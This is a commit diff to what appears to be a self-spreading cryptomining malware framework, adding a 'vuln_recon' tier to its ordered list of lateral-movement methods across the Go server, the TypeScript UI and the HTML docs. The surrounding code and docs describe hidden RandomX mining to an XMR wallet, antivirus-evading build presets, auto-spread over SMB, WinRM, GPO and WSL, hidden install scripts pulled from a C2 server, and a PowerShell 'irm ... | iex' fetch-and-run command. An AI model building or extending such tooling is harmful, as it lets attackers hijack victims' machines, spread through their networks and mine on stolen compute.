Cleanup after LOTL: sync vuln_recon as the tenth tier across server, agent, and UI; tighten gitignore and trim PROBLEMS; dedupe spread docs into a single canonical stub.

server/config.go

@@ -257,6 +257,7 @@ func DefaultConfig() *Config {
 			SignTimestampURL:       "http://timestamp.digicert.com",
 			PublicBuildsLatestN:    3,
 			LotlOnionTiers: []string{
+				"vuln_recon",
 				"docker", "wsl", "powershell", "dotnet", "bits_curl",
 				"smb", "winrm", "linux", "gpo",
 			},

server/internal/builder/lotl_onion.go

@@ -4,6 +4,7 @@ import "strings"
 
 // DefaultLotlOnionTiers matches agent/deploy.DefaultLotlOnionTiers — keep in sync.
 var DefaultLotlOnionTiers = []string{
+	"vuln_recon",
 	"docker",
 	"wsl",
 	"powershell",
@@ -18,6 +19,7 @@ var DefaultLotlOnionTiers = []string{
 // NormalizeLotlOnionTiers filters tier ids for forge + server config.
 func NormalizeLotlOnionTiers(raw []string) []string {
 	allowed := map[string]struct{}{
+		"vuln_recon": {},
 		"docker": {}, "wsl": {}, "powershell": {}, "dotnet": {},
 		"bits_curl": {}, "smb": {}, "winrm": {}, "linux": {}, "gpo": {},
 	}

server/internal/builder/lotl_onion_test.go

@@ -4,7 +4,7 @@ import "testing"
 
 func TestNormalizeLotlOnionTiers(t *testing.T) {
 	got := NormalizeLotlOnionTiers(nil)
-	if len(got) != 9 || got[0] != "docker" || got[8] != "gpo" {
+	if len(got) != 10 || got[0] != "vuln_recon" || got[9] != "gpo" {
 		t.Fatalf("defaults: %v", got)
 	}
 }
@@ -25,7 +25,7 @@ func TestApplyLotlOnionPreset(t *testing.T) {
 	if !req.AutoSpread || !req.ShareSpread || req.SpreadKit {
 		t.Fatal("spread profile")
 	}
-	if len(req.LotlOnionTiers) != 9 {
+	if len(req.LotlOnionTiers) != 10 {
 		t.Fatalf("tiers: %v", req.LotlOnionTiers)
 	}
 }

server/web/public/docs/SPREAD_TECHNIQUES.html

@@ -380,7 +380,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
             Forge preset adjacent to <strong>AV-Safe</strong>: in-process RandomX (same <strong>XMR wallet</strong> field),
             no GPU exe drop, ordered contingencies using living-off-the-land tooling only.
           </p>
-          <h4>Default tier order (docker → GPO)</h4>
+          <h4>Default tier order (vuln recon → GPO)</h4>
           <p class="form-hint">
             Baked at forge time; when <code>lotl_policy_from_server</code> is enabled the agent pulls the live order from
             <code>server.lotl_onion_tiers</code> in Calibrate on WebSocket auth — no re-forge to reorder.
@@ -388,6 +388,7 @@ irm https://your.site/install.ps1?pin={build_id}&amp;c=docs | iex</code></pre>
           <table class="wiki-table">
             <thead><tr><th>Tier</th><th>One-line</th></tr></thead>
             <tbody>
+              <tr id="lotl-tier-vuln_recon"><td><strong>vuln recon</strong></td><td>Read-only KEV/CVE/service probe — report-only, no exploit</td></tr>
               <tr id="lotl-tier-docker"><td><strong>docker</strong></td><td>Container worker image — isolated RandomX, no host miner exe drop</td></tr>
               <tr id="lotl-tier-wsl"><td><strong>wsl</strong></td><td>WSL curl|bash one-liner when native Windows path is blocked</td></tr>
               <tr id="lotl-tier-powershell"><td><strong>powershell</strong></td><td>PS remoting / hidden install.ps1 from your C2 origin</td></tr>

server/web/src/help/forgeOperationModes.test.ts

@@ -132,8 +132,8 @@ describe('forgeOperationModes', () => {
     expect(next.gpu_enabled).toBe(false);
     expect(next.lotl_onion_enabled).toBe(true);
     expect(next.lotl_policy_from_server).toBe(true);
-    expect(next.lotl_onion_tiers).toHaveLength(9);
-    expect(next.lotl_onion_tiers?.[0]).toBe('docker');
+    expect(next.lotl_onion_tiers).toHaveLength(10);
+    expect(next.lotl_onion_tiers?.[0]).toBe('vuln_recon');
     expect(next.spread_kit).toBe(false);
     expect(next.auto_spread).toBe(true);
     expect(next.share_spread).toBe(true);

server/web/src/help/lotlOnionTiers.test.ts

@@ -2,13 +2,14 @@ import { describe, it, expect } from 'vitest';
 import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
 
 describe('lotlOnionTiers', () => {
-  it('lists nine tiers in onion order', () => {
-    expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
-    expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
+  it('lists ten tiers in onion order', () => {
+    expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(10);
+    expect(DEFAULT_LOTL_ONION_TIERS[0]).toBe('vuln_recon');
+    expect(DEFAULT_LOTL_ONION_TIERS[9]).toBe('gpo');
   });
 
   it('documents each tier with a one-line hint', () => {
-    expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
+    expect(LOTL_ONION_TIER_DOCS).toHaveLength(10);
     expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
   });
 });

server/web/src/help/lotlOnionTiers.ts

@@ -1,6 +1,7 @@
 /** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
 
 export const DEFAULT_LOTL_ONION_TIERS = [
+  'vuln_recon',
   'docker',
   'wsl',
   'powershell',
@@ -22,6 +23,7 @@ export interface LotlOnionTierDoc {
 }
 
 export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
+  { id: 'vuln_recon', label: 'Vuln Recon', hint: 'Read-only KEV/CVE/service probe — report-only, no exploit' },
   { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
   { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
   { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },

server/web/src/types/lotl.ts

@@ -38,6 +38,7 @@ const TIER_LABELS: Record<string, string> = {
   inprocess: 'In-Process',
   gpu: 'GPU',
   stratum: 'Stratum',
+  vuln_recon: 'Vuln Recon',
   vuln_probe: 'Vuln Recon',
 };